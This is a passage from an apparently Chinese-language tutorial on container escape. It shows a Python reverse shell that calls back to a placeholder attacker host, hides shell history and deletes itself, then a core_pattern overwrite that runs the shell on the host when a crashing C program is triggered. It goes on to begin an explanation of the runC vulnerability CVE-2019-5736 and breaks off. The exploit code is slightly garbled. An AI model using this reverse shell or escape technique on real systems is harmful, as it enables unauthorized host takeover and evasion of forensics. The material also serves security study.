import socket
lhost = “IP_ADDRESS”
lport = PORT
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((lhost, lport))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
os.putenv(“HISTFILE”, ‘/dev/null’)
pty.spawn(“/bin/bash”)
os.remove(‘/tmp/.t.py’)
s.close()
if name == “main”:
main()
chmod 777 /tmp/.x.py
echo -e "|/var/lib/docker/overlay2/5d748dc3bca9db37b2f0d72b2364b4abe4c8b39e878bf1157b407414efae40fe/merged/tmp/.t.py \rcore " > /host/proc/sys/kernel/core_pattern
攻击端机器开启监听。
在容器内创建一段可以崩溃的程序 vim x.c
#include<stdio.h>
int main(void) {
int *a = NULL;
*a = 1;
return 0;
}
编译执行
gcc x.c -o x
./x
0x04 相关程序漏洞导致的容器逃逸
相关程序漏洞指的是参与到容器生态中的服务端、客户端程序自身存在的漏洞。下图展示了操作系统之上的容器及容器集群环境的程序组件。
4.1 CVE-2019-5736:覆盖宿主机上的runC文件
在容器世界中,真正负责创建、修改和销毁容器的组件实际上是容器运行时。
当我们执行如docker exec等命令时,底层实际上是容器运行时在操作。例如runC,相应地,runc exec命令会被执行。最终效果是在容器内部执行用户指定的程序。进一步讲,就是在容器的各种命名空间内,受到各种限制(如cgroups)的情况下,启动一个进程。除此以外,这个操作与宿主机上执行一个程序并无二致。
执行过程大体是这样的:runc启动,加入到容器的命名空间,接着以自身(/proc/self/exe)为范本启动一个子进程,最后通过exec系统调用执行用户指定的二进制程序。
- /proc/[PID]/exe:它是一种特殊的符号链接,又被称为magic links,
指向进程自身对应的本地程序文件 (例如我们执行 ls,/proc/[PID]/exe 就指向 /bin/ls)。它的特殊之处在于,当打开这个文件时,在权限检